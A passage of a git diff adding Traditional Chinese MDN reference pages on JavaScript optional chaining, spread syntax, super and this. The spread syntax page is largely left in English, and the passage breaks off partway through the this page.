+<p>從只是 <code>.</code> 改用作 <code>?.</code> 運算子，JavaScript 會知道在存取 <code>obj.first.second</code> 之前，需要間接地檢查並確保 <code>obj.first</code> 並不是 <code>null</code> 或 <code>undefined</code> 。當 <code>obj.first</code> 是 <code>null</code> 或 <code>undefined</code> ，運算式會像短路一樣跳過整個串連存取式，而回傳 <code>undefined</code> 。</p>
+
+<p>這是跟以下是相等同的，但是實際上是不會建立臨時變數：</p>
+
+<pre class="brush: js">let temp = obj.first;
+let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.second);
+</pre>
+
+<h3 id="可選串連呼叫函數">可選串連呼叫函數</h3>
+
+<p>你可以使用可選串連來嘗試呼叫一個或許沒有存在的方法。這可能有助於，舉例來說，使用一些未能提供服務的 API ，這可能因為過時的應用或是使用者的裝置未能支援某種功能。</p>
+
+<p>當需要使用的方法並不存在時，透過可選串連去進行呼叫將不會抛出錯誤，取而代之的是回傳 <code>undefined</code> ：</p>
+
+<pre class="brush: js">let result = someInterface.customMethod?.();</pre>
+
+<div class="blockIndicator note">
+<p><strong>注意:</strong> 假如物件有同樣的屬性名稱，而不是一個方法，使用 <code>?.</code> 將會抛出 {{JSxRef("TypeError")}} 錯誤（<code>x.y</code><code> 不是一個函數</code>.</p>
+</div>
+
+<h4 id="處理回呼函式或事件處理器">處理回呼函式或事件處理器</h4>
+
+<p>如果你使用回呼函式，或是透過<a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Object_destructuring">解構賦值</a>來擷取物件中的方法，你可能會因為這些方法沒有存在，而無法進行呼叫，除非你事先驗證其存在性。所以，你可以利用 <code>?.</code> 來避免這樣的測試：</p>
+
+<pre class="brush: js">// 在 ES2019 下撰寫
+function doSomething(onContent, onError) {
+  try {
+    // ... 對資料進行一些處理
+  }
+  catch (err) {
+    if (onError) { // 測試 onError 是否真的存在
+      onError(err.message);
+    }
+  }
+}
+</pre>
+
+<pre class="brush: js">// 使用可選串連進行函式呼叫
+function doSomething(onContent, onError) {
+  try {
+   // ... 對資料進行一些處理
+  }
+  catch (err) {
+    onError?.(err.message); // 就算 onError 是 undefined 也不會抛出錯誤
+  }
+}
+</pre>
+
+<h3 id="可選串連表述式">可選串連表述式</h3>
+
+<p>你也可以在<a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Property_Accessors#Bracket_notation">方括號屬性存取</a>表達式中使用可選串連：</p>
+
+<pre class="brush: js">let nestedProp = obj?.['prop' + 'Name'];
+</pre>
+
+<h3 id="矩陣項目的可選串連">矩陣項目的可選串連</h3>
+
+<pre class="brush: js">let arrayItem = arr?.[42];</pre>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="基本範例">基本範例</h3>
+
+<p>這個範例會找出 Map 物件中一個鍵為 <code>bar</code> 成員的 <code>name</code> 屬性值，但事實上並沒有相關成員。所以結果為 <code>undefined</code> 。</p>
+
+<pre class="brush: js">let myMap = new Map();
+myMap.set("foo", {name: "baz", desc: "inga"});
+
+let nameBar = myMap.get("bar")?.name;</pre>
+
+<h3 id="短路式運算">短路式運算</h3>
+
+<p>當可選串連接上表述式時，如果左邊的運算數值是 <code>null</code> 或 <code>undefined</code> ，表述式則不會被運算。舉例來說：</p>
+
+<pre class="brush: js">let potentiallyNullObj = null;
+let x = 0;
+let prop = potentiallyNullObj?.[x++];
+
+console.log(x); // 因為 x 沒有遞增，所以為 0
+</pre>
+
+<h3 id="串接多個可選串連">串接多個可選串連</h3>
+
+<p>在巢狀結構中可以使用多次的可選串連：</p>
+
+<pre class="brush: js">let customer = {
+  name: "Carl",
+  details: {
+    age: 82,
+    location: "Paradise Falls" // 詳細地址 address 並不知道
+  }
+};
+let customerCity = customer.details?.address?.city;
+
+// … 同樣地，串接多個可選串連來呼叫函式也是湊效的
+let duration = vacations.trip?.getTime?.();
+</pre>
+
+<h3 id="使用空值合併運算子">使用空值合併運算子</h3>
+
+<p>在可選串連後可以使用{{JSxRef("Operators/Nullish_Coalescing_Operator", "空值合併運算子", '', 1)}}來編配預設值，如果無法在屬性串連中取得值：</p>
+
+<pre class="brush: js">let customer = {
+  name: "Carl",
+  details: { age: 82 }
+};
+const customerCity = customer?.city ?? "Unknown city";
+console.log(customerCity); // Unknown city</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.es/proposal-optional-chaining/#sec-scope">Proposal for the "optional chaining" operator</a></td>
+   <td>Stage 4</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.operators.optional_chaining")}}</p>
+</div>
+
+<h3 id="實施進程">實施進程</h3>
+
+<p>因為本功能尚未達到跨瀏覽器性穩定，以下表格提供本功能的每天實驗狀態。資料是透過在各瀏覽器 nightly build 或最新版本 JavaScript 引擎中，進行<a href="https://github.com/tc39/test262">Test262</a> (一個 JavaScript 的標準測試包) 中相關測試而生成的。</p>
+
+<div>{{EmbedTest262ReportResultsTable("optional-chaining")}}</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{JSxRef("Operators/Nullish_Coalescing_Operator", "空值合併運算子", '', 1)}}</li>
+ <li><a href="https://github.com/tc39/proposals">TC39 proposals</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/operators/spread_syntax/index.html b/files/zh-tw/web/javascript/reference/operators/spread_syntax/index.html
new file mode 100644
index 0000000000..fe6ea9a383
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/spread_syntax/index.html
@@ -0,0 +1,248 @@
+---
+title: Spread syntax (...)
+slug: Web/JavaScript/Reference/Operators/Spread_syntax
+translation_of: Web/JavaScript/Reference/Operators/Spread_syntax
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>展開運算子</strong>(<code>...</code>) 允許可迭代的陣列或字串展開成０到多個參數(如果是function的話)或是０到多個元素(如果是array或字組的話)，或如果是物件的話則展開成０到多個key-value pair。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-spreadsyntax.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="語法">語法</h2>
+
+<p>用在呼叫函式時:</p>
+
+<pre class="syntaxbox notranslate"><var>myFunction</var>(...<var>iterableObj</var>);
+</pre>
+
+<p>用在陣列或字串時:</p>
+
+<pre class="syntaxbox notranslate">[...<var>iterableObj</var>, '4', 'five', 6];</pre>
+
+<p>用在物件時(new in ECMAScript 2018):</p>
+
+<pre class="syntaxbox notranslate">let <var>objClone</var> = { ...<var>obj</var> };</pre>
+
+<h2 id="Rest_syntax_parameters">Rest syntax (parameters)</h2>
+
+<p>Rest syntax looks exactly like spread syntax. In a way, rest syntax is the opposite of spread syntax. Spread syntax "expands" an array into its elements, while rest syntax collects multiple elements and "condenses" them into a single element. See {{jsxref("Functions/rest_parameters", "rest parameters", "", 1)}}.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Spread_in_function_calls">Spread in function calls</h3>
+
+<h4 id="Replace_apply">Replace apply()</h4>
+
+<p>It is common to use {{jsxref("Function.prototype.apply()")}} in cases where you want to use the elements of an array as arguments to a function.</p>
+
+<pre class="brush: js notranslate">function myFunction(x, y, z) { }
+const args = [0, 1, 2];
+myFunction.apply(null, args);</pre>
+
+<p>With spread syntax the above can be written as:</p>
+
+<pre class="brush: js notranslate">function myFunction(x, y, z) { }
+const args = [0, 1, 2];
+myFunction(...args);</pre>
+
+<p>Any argument in the argument list can use spread syntax, and the spread syntax can be used multiple times.</p>
+
+<pre class="brush: js notranslate">function myFunction(v, w, x, y, z) { }
+const args = [0, 1];
+myFunction(-1, ...args, 2, ...[3]);</pre>
+
+<h4 id="Apply_for_new_operator">Apply for new operator</h4>
+
+<p>When calling a constructor with {{jsxref("Operators/new", "new")}} it's not possible to <strong>directly</strong> use an array and <code>apply()</code> (<code>apply()</code> does a <code>[[Call]]</code> and not a <code>[[Construct]]</code>). However, an array can be easily used with <code>new</code> thanks to spread syntax:</p>
+
+<pre class="brush: js notranslate">const dateFields = [1970, 0, 1];  // 1 Jan 1970
+const d = new Date(...dateFields);
+</pre>
+
+<p>To use <code>new</code> with an array of parameters without spread syntax, you would have to do it <strong>indirectly</strong> through partial application:</p>
+
+<pre class="brush: js notranslate">function applyAndNew(constructor, args) {
+   function partial () {
+      return constructor.apply(this, args);
+   };
+   if (typeof constructor.prototype === "object") {
+      partial.prototype = Object.create(constructor.prototype);
+   }
+   return partial;
+}
+
+
+function myConstructor () {
+   console.log("arguments.length: " + arguments.length);
+   console.log(arguments);
+   this.prop1="val1";
+   this.prop2="val2";
+};
+
+const myArguments = ["hi", "how", "are", "you", "mr", null];
+const myConstructorWithArguments = applyAndNew(myConstructor, myArguments);
+
+console.log(new myConstructorWithArguments);
+//  (internal log of myConstructor):           arguments.length: 6
+//  (internal log of myConstructor):           ["hi", "how", "are", "you", "mr", null]
+//  (log of "new myConstructorWithArguments"): {prop1: "val1", prop2: "val2"}</pre>
+
+<h3 id="Spread_in_array_literals">Spread in array literals</h3>
+
+<h4 id="A_more_powerful_array_literal">A more powerful array literal</h4>
+
+<p>Without spread syntax, to create a new array using an existing array as one part of it, the array literal syntax is no longer sufficient and imperative code must be used instead using a combination of {{jsxref("Array.prototype.push", "push()")}}, {{jsxref("Array.prototype.splice", "splice()")}}, {{jsxref("Array.prototype.concat", "concat()")}}, etc. With spread syntax this becomes much more succinct:</p>
+
+<pre class="brush: js notranslate">const parts = ['shoulders', 'knees'];
+const lyrics = ['head', ...parts, 'and', 'toes'];
+//  ["head", "shoulders", "knees", "and", "toes"]
+</pre>
+
+<p>Just like spread for argument lists, <code>...</code> can be used anywhere in the array literal, and may be used more than once.</p>
+
+<h4 id="Copy_an_array">Copy an array</h4>
+
+<pre class="brush: js notranslate">const arr = [1, 2, 3];
+const arr2 = [...arr]; // like arr.slice()
+
+arr2.push(4);
+//  arr2 becomes [1, 2, 3, 4]
+//  arr remains unaffected
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Spread syntax effectively goes one level deep while copying an array. Therefore, it may be unsuitable for copying multidimensional arrays, as the following example shows. (The same is true with {{jsxref("Object.assign()")}} and spread syntax.)</p>
+
+<pre class="brush: js example-bad notranslate">const a = [[1], [2], [3]];
+const b = [...a];
+
+b.shift().shift();
+//  1
+
+//  Oh no!  Now array 'a' is affected as well:
+a
+//  [[], [2], [3]]
+</pre>
+</div>
+
+<h4 id="A_better_way_to_concatenate_arrays">A better way to concatenate arrays</h4>
+
+<p>{{jsxref("Array.prototype.concat()")}} is often used to concatenate an array to the end of an existing array. Without spread syntax, this is done as:</p>
+
+<pre class="brush: js notranslate">const arr1 = [0, 1, 2];
+const arr2 = [3, 4, 5];
+
+//  Append all items from arr2 onto arr1
+arr1 = arr1.concat(arr2);</pre>
+
+<p>With spread syntax this becomes:</p>
+
+<pre class="brush: js notranslate">let arr1 = [0, 1, 2];
+let arr2 = [3, 4, 5];
+
+arr1 = [...arr1, ...arr2];
+//  arr1 is now [0, 1, 2, 3, 4, 5]
+// Note: Not to use const otherwise, it will give TypeError (invalid assignment)
+</pre>
+
+<p>{{jsxref("Array.prototype.unshift()")}} is often used to insert an array of values at the start of an existing array. Without spread syntax, this is done as:</p>
+
+<pre class="brush: js notranslate">const arr1 = [0, 1, 2];
+const arr2 = [3, 4, 5];
+
+//  Prepend all items from arr2 onto arr1
+Array.prototype.unshift.apply(arr1, arr2)
+
+//  arr1 is now [3, 4, 5, 0, 1, 2]</pre>
+
+<p>With spread syntax, this becomes:</p>
+
+<pre class="brush: js notranslate">let arr1 = [0, 1, 2];
+let arr2 = [3, 4, 5];
+
+arr1 = [...arr2, ...arr1];
+//  arr1 is now [3, 4, 5, 0, 1, 2]
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Unlike <code>unshift()</code>, this creates a new <code>arr1</code>, and does not modify the original <code>arr1</code> array in-place.</p>
+</div>
+
+<h3 id="Spread_in_object_literals">Spread in object literals</h3>
+
+<p>The <a href="https://github.com/tc39/proposal-object-rest-spread">Rest/Spread Properties for ECMAScript</a> proposal (ES2018) added spread properties to {{jsxref("Operators/Object_initializer", "object literals", 1)}}. It copies own enumerable properties from a provided object onto a new object.</p>
+
+<p>Shallow-cloning (excluding prototype) or merging of objects is now possible using a shorter syntax than {{jsxref("Object.assign()")}}.</p>
+
+<pre class="brush: js notranslate">const obj1 = { foo: 'bar', x: 42 };
+const obj2 = { foo: 'baz', y: 13 };
+
+const clonedObj = { ...obj1 };
+// Object { foo: "bar", x: 42 }
+
+const mergedObj = { ...obj1, ...obj2 };
+// Object { foo: "baz", x: 42, y: 13 }</pre>
+
+<p>Note that {{jsxref("Object.assign()")}} triggers {{jsxref("Functions/set", "setters")}}, whereas spread syntax doesn't.</p>
+
+<p>Note that you cannot replace or mimic the {{jsxref("Object.assign()")}} function:</p>
+
+<pre class="brush: js notranslate">let obj1 = { foo: 'bar', x: 42 };
+let obj2 = { foo: 'baz', y: 13 };
+const merge = ( ...objects ) =&gt; ( { ...objects } );
+
+let mergedObj1 = merge (obj1, obj2);
+// Object { 0: { foo: 'bar', x: 42 }, 1: { foo: 'baz', y: 13 } }
+
+let mergedObj2 = merge ({}, obj1, obj2);
+// Object { 0: {}, 1: { foo: 'bar', x: 42 }, 2: { foo: 'baz', y: 13 } }</pre>
+
+<p>In the above example, the spread syntax does not work as one might expect: it spreads an <em>array</em> of arguments into the object literal, due to the rest parameter.</p>
+
+<h3 id="Only_for_iterables">Only for iterables</h3>
+
+<p>Objects themselves are not iterable, but they become iterable when used in an Array, or with iterating functions such as <code>map()</code>, <code>reduce()</code>, and <code>assign()</code>. When merging 2 objects together with the spread operator, it is assumed another iterating function is used when the merging occurs.</p>
+
+<p>Spread syntax (other than in the case of spread properties) can be applied only to <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator">iterable</a> objects:</p>
+
+<pre class="brush: js notranslate">const obj = {'key1': 'value1'};
+const array = [...obj]; // TypeError: obj is not iterable
+</pre>
+
+<h3 id="Spread_with_many_values">Spread with many values</h3>
+
+<p>When using spread syntax for function calls, be aware of the possibility of exceeding the JavaScript engine's argument length limit. See {{jsxref("Function.prototype.apply", "apply()")}} for more details.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array-initializer', 'Array initializer')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object-initializer', 'Object initializer')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.operators.spread")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Functions/rest_parameters", "Rest parameters", "", 1)}} (also ‘<code>...</code>’)</li>
+ <li>{{jsxref("Function.prototype.apply()")}} (also ‘<code>...</code>’)</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/operators/super/index.html b/files/zh-tw/web/javascript/reference/operators/super/index.html
new file mode 100644
index 0000000000..d02c8a0a91
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/super/index.html
@@ -0,0 +1,179 @@
+---
+title: super
+slug: Web/JavaScript/Reference/Operators/super
+translation_of: Web/JavaScript/Reference/Operators/super
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>super 關鍵字被使用於通過函式存取父層</p>
+
+<p> <code>super.prop</code> 與 <code>super[expr]</code> 表達有效在 <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definition</a> 與 <a href="/en-US/docs/Web/JavaScript/Reference/Classes">classes</a> 與 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object literals</a>.</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">super([arguments]); // calls the parent constructor.
+super.functionOnParent([arguments]);
+</pre>
+
+<h2 id="描述">描述</h2>
+
+<p>當使用建構子，<code>super</code> 關鍵字必須出現在<code>this</code> 關鍵字之前使用，<code>super</code> 關鍵字也可以使用在呼叫函式與父對象</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="在類別中使用_super">在類別中使用 <code>super</code> </h3>
+
+<p>這個程式碼片段從 <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">classes sample</a> (<a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a>). 這裏的 <code>super()</code> 被呼叫去避免複製到建構子的 <code>Rectangle</code> 與 <code>Square</code> 的共通部分。</p>
+
+<pre class="brush: js">class Rectangle {
+  constructor(height, width) {
+    this.name = 'Rectangle';
+    this.height = height;
+    this.width = width;
+  }
+  sayName() {
+    console.log('Hi, I am a ', this.name + '.');
+  }
+  get area() {
+    return this.height * this.width;
+  }
+  set area(value) {
+    this.area = value;
+  }
+}
+
+class Square extends Rectangle {
+  constructor(length) {
+    this.height; // ReferenceError, super needs to be called first!
+
+    // Here, it calls the parent class's constructor with lengths
+    // provided for the Rectangle's width and height
+    super(length, length);
+
+    // Note: In derived classes, super() must be called before you
+    // can use 'this'. Leaving this out will cause a reference error.
+    this.name = 'Square';
+  }
+}</pre>
+
+<h3 id="Super-calling_靜態方法">Super-calling 靜態方法</h3>
+
+<p>你也可以使用在<a href="/en-US/docs/Web/JavaScript/Reference/Classes/static">靜態</a>方法.</p>
+
+<pre class="brush: js">class Rectangle {
+  constructor() {}
+  static logNbSides() {
+    return 'I have 4 sides';
+  }
+}
+
+class Square extends Rectangle {
+  constructor() {}
+  static logDescription() {
+    return super.logNbSides() + ' which are all equal';
+  }
+}
+Square.logDescription(); // 'I have 4 sides which are all equal'
+</pre>
+
+<h3 id="刪除_super_屬性將拋出錯誤">刪除 super 屬性將拋出錯誤</h3>
+
+<p>你不能使用 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete operator</a> 以及 <code>super.prop</code> 以及 <code>super[expr]</code> 去刪除父層的類別屬性, 不然他會丟出一個錯誤 {{jsxref("ReferenceError")}}.</p>
+
+<pre class="brush: js">class Base {
+  constructor() {}
+  foo() {}
+}
+class Derived extends Base {
+  constructor() {}
+  delete() {
+    delete super.foo; // this is bad
+  }
+}
+
+new Derived().delete(); // ReferenceError: invalid delete involving 'super'. </pre>
+
+<h3 id="super.prop_不能複寫在不能複寫的屬性"><code>super.prop</code> 不能複寫在不能複寫的屬性</h3>
+
+<p>當定義不可寫屬性，例如 {{jsxref("Object.defineProperty")}}, <code>super</code> 不能複寫這個屬性的值.</p>
+
+<pre class="brush: js">class X {
+  constructor() {
+    Object.defineProperty(this, 'prop', {
+      configurable: true,
+      writable: false,
+      value: 1
+    });
+  }
+}
+
+class Y extends X {
+  constructor() {
+    super();
+  }
+  foo() {
+    super.prop = 2;   // Cannot overwrite the value.
+  }
+}
+
+var y = new Y();
+y.foo(); // TypeError: "prop" is read-only
+console.log(y.prop); // 1
+</pre>
+
+<h3 id="使用_super.prop_在對象符號">使用 <code>super.prop</code> 在對象符號</h3>
+
+<p>Super 可以使用在 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer / literal</a> 符號. 在這個範例, 有兩個對象定義在一個方法. 在第二個對象裡面, <code>super</code> 呼叫了第一個對象的方法. 這個動作幫助 {{jsxref("Object.setPrototypeOf()")}} 讓我們可以設定原型 <code>obj2</code> to <code>obj1</code>, 所以 <code>super</code> 可以發現 <code>method1</code> 在 <code>obj1</code>裡被找到.</p>
+
+<pre class="brush: js">var obj1 = {
+  method1() {
+    console.log('method 1');
+  }
+}
+
+var obj2 = {
+  method2() {
+    super.method1();
+  }
+}
+
+Object.setPrototypeOf(obj2, obj1);
+obj2.method2(); // logs "method 1"
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-super-keyword', 'super')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-super-keyword', 'super')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.operators.super")}}</p>
+
+<h2 id="參考">參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+ <li><a href="https://medium.com/beginners-guide-to-mobile-web-development/super-and-extends-in-javascript-es6-understanding-the-tough-parts-6120372d3420">Anurag Majumdar - Super &amp; Extends in JavaScript</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/operators/this/index.html b/files/zh-tw/web/javascript/reference/operators/this/index.html
new file mode 100644
index 0000000000..e26b592244
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/this/index.html
@@ -0,0 +1,385 @@
+---
+title: this
+slug: Web/JavaScript/Reference/Operators/this
+tags:
+  - JavaScript
+  - this
+translation_of: Web/JavaScript/Reference/Operators/this
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>JavaScript <strong>函式內的 <code>this</code> 關鍵字</strong>表現，和其他語言相比略有差異。在<a href="/zh-TW/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">嚴格模式</a>與非嚴格模式下也有所不同。</p>
+
+<p>通常，<code>this</code> 值由被呼叫的函式來決定。它不能在執行期間被指派，每次函式呼叫調用的值也可能不同。ES5 引入了 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bind</a></code> 方法去<a href="#The_bind_method">設置函式的 <code>this</code> 值，而不管它怎麼被呼叫。</a>ECMAScript 2015 也導入了定義 <code>this</code> 詞法範圍的<a href="../Functions/Arrow_functions">箭頭函式</a>（它的 <code>this</code> 值會維持在詞法作用域）。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-this.html")}}</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">this</pre>
+
+<h2 id="全域環境下">全域環境下</h2>
+
+<p><code>this</code> 值在所有函式以外的全域執行環境下，會被當作全域物件，無論是否處於嚴格模式。</p>
+
+<pre class="brush:js">console.log(this.document === document); // true
+
+// 在網路瀏覽器中，window 物件也是全域物件。
+console.log(this === window); // true
+
+this.a = 37;
+console.log(window.a); // 37
+
+this.b = "MDN";
+console.log(window.b)  // "MDN"
+console.log(b)         // "MDN"
+</pre>
+
+<h2 id="函式環境下">函式環境下</h2>
+
+<p>在函式內的 <code>this</code> 值取決於該函式如何被呼叫。</p>
+
+<h3 id="簡易呼叫">簡易呼叫</h3>
+
+<p>因為以下程式碼並不處於<a href="/zh-TW/docs/Web/JavaScript/Reference/Strict_mode">嚴謹模式</a>下、而 <code>this</code> 值也沒被呼叫（call）設定，<code>this</code> 會變成全域物件，在瀏覽器之下則會變成 <code>window</code>。</p>
+
+<pre class="brush:js">function f1(){
+  return this;
+}
+
+//在瀏覽器中：
+f1() === window; // true
+
+//Node中:
+f1() === global; // true
+</pre>
+
+<p>然而，在嚴格模式下，<code>this</code> 值會在進入執行環境時建立並維持該狀態。因此，下例的 <code>this</code> 預設值是 <code>undefined</code>：</p>
+
+<pre class="brush:js">function f2(){
+  "use strict"; // 嚴格模式
+  return this;
+}
+
+f2() === undefined; //true</pre>
+
+<p>所以在嚴格模式下，如果 <code>this</code> 沒有定義到執行環境內，其預設值就會是 <code>undefined</code>。</p>
+
+<div class="note">
+<p>在第二個例子裡面，<code>this</code> 應為 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a>，因為 <code>f2</code> 是直接被呼叫，而不是在其為某個物件的方法或屬性的情況下（例如 <code>window.f2()</code>）被直接呼叫。某些瀏覽器首次支援<a href="/zh-TW/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="Strict mode">嚴格模式</a>時沒導入這個特徵，它們會因此錯誤的回傳 <code>window</code> 物件。</p>
+</div>
+
+<p>要從某個語境訪問另一個 <code>this</code> 語境的值，請使用 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call</a> 或 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">apply</a>:</p>
+
+<pre dir="rtl">// 物件可以被當作call或apply的第一個參數，而this會綁定該物件
+var obj = {a: 'Custom'};
+
+// 此屬性a為全域物件
+var a = 'Global';
+
+function whatsThis(arg) {
+  return this.a;  // this 值取決於此函數如何被呼叫
+}
+
+whatsThis();          // 'Global'
+whatsThis.call(obj);  // 'Custom'
+whatsThis.apply(obj); // 'Custom'
+</pre>
+
+<p>當函式內部調用 <code>this</code> 關鍵字時，其值會和所有繼承自 <code>Function.prototype</code> 並使用 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call</a></code> 或 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">apply</a></code> 方法呼叫的特定物件綁定。</p>
+
+<pre>function add(c, d) {
+  return this.a + this.b + c + d;
+}
+
+var o = {a: 1, b: 3};
+
+// 第一個參數（parameter）是調用了 this 的物件，
+// 後續參數（parameters）會作為函式呼叫內的參數（arguments）而通過
+add.call(o, 5, 7); // 16
+
+// 第一個參數（parameter）是調用了 this 的物件，
+// 第二個參數的陣列作為函式呼叫內的參數（arguments）之構件
+add.apply(o, [10, 20]); // 34</pre>
+
+<p>使用 <code>call</code> 和 <code>apply</code> 時，如果被輸入作為 <code>this</code> 的值不是物件，JavaScript 內建的 <code>ToObject</code> 運算符會試著把被輸入的值轉變為物件。如果被輸入的值是一個原始型別，例如 <code>7</code>或是 <code>'foo'</code>，它們會自動被相關的建構方法轉變為物件。因此，原始數值<code>7</code>會轉變成類似用<code>new Number(7)</code>產生的物件，而字串<code>'foo'</code>會轉變成類似用<code>new String('foo')</code>產生的物件。</p>
+
+<pre class="brush:js">function bar() {
+  console.log(Object.prototype.toString.call(this));
+}
+
+bar.call(7);     // [object Number]
+bar.call('foo'); // [Object String]
+</pre>
+
+<h3 id="bind_方法"><code>bind</code> 方法</h3>
+
+<p>ECMAScript 5 導入了 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind</a></code>。呼叫 <code>f.bind(someObject)</code> 會建立和 <code>f</code> 的主體與作用域相同之新函式；但無論函數怎麼被調用，原始函數的 <code>this</code> 在新函數將永遠與 <code>bind</code> 的第一個參數綁定起來。</p>
+
+<pre><code>function f() {
+  return this.a;
+}
+
+var g = f.bind({a: 'azerty'});
+console.log(g()); // azerty
+
+var h = g.bind({a: 'yoo'}); // bind 只能使用一次！
+console.log(h()); // azerty
+
+var o = {a: 37, f: f, g: g, h: h};
+console.log(o.f(), o.g(), o.h()); // 37, azerty, azerty</code>
+</pre>
+
+<h3 id="箭頭函式">箭頭函式</h3>
+
+<p>在<a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/Arrow_functions">箭頭函式</a>下，<code>this</code> 值保留了其在詞法作用域 的 <code>this</code> 值。在全域程式碼內，則設為全域物件：</p>
+
+<pre class="brush: js">var globalObject = this;
+var foo = (() =&gt; this);
+console.log(foo() === globalObject); // true</pre>
+
+<div class="note">
+<p>註：如果這參數被傳遞給箭頭函式的 call, bind, apply 調用，該參數會被忽略。你仍然可以將參數預先調用到call，但第一個參數(thisArg)必須設置為空。</p>
+</div>
+
+<pre class="brush: js">// 作為物件的方法呼叫
+var obj = {foo: foo};
+console.log(obj.foo() === globalObject); // true
+
+// 使用呼叫以嘗試設置 this
+console.log(foo.call(obj) === globalObject); // true
+
+// 使用 bind 以嘗試設置 this
+foo = foo.bind(obj);
+console.log(foo() === globalObject); // true</pre>
+
+<p>無論以上哪種，<code>foo</code> 的 <code>this</code> 在建立的時候，都會設為原本的樣子（以上面的例子來說，就是全域物件）。這同樣適用於在其他函式內創建的箭頭函式：它們的 <code>this</code> 是設置為外部執行上下文。</p>
+
+<pre class="brush: js">// 建立一個物件，其方法 bar 含有回傳自己的 this 函式。回傳函式作為箭頭函數而建立，
+// 因此該函式的 this 將永遠與外圍函式（enclosing function）的 this 綁定。
+// bar 的值可在呼叫內設立，which in turn sets the value of the returned function.
+var obj = { bar : function() {
+                    var x = (() =&gt; this);
+                    return x;
+                  }
+          };
+
+// 將 bar 作為物件的方法呼叫，把它的 this 設為物件
+// 指派 fn 作為回傳函數的參照（reference）
+var fn = obj.bar();
+
+// 在不設置 this 情況下呼叫的 fn，通常默認為全域物件，在嚴格模式下則是 undefined
+console.log(fn() === obj); // true</pre>
+
+<p>以上面的程式碼為例，稱作匿名函數（anonymous function）A 的函數被指定為 <code>obj.bar</code>，它回傳的函數（稱作匿名函數 B）作為箭頭函數而建立。因而，函數 B 的 <code>this</code> 在呼叫時，將永遠設為 <code>obj.bar</code> （函數 A）的 <code>this</code>。呼叫被回傳的函數（函數 B）時，它的 <code>this</code> 將一直是原本的樣子。</p>
+
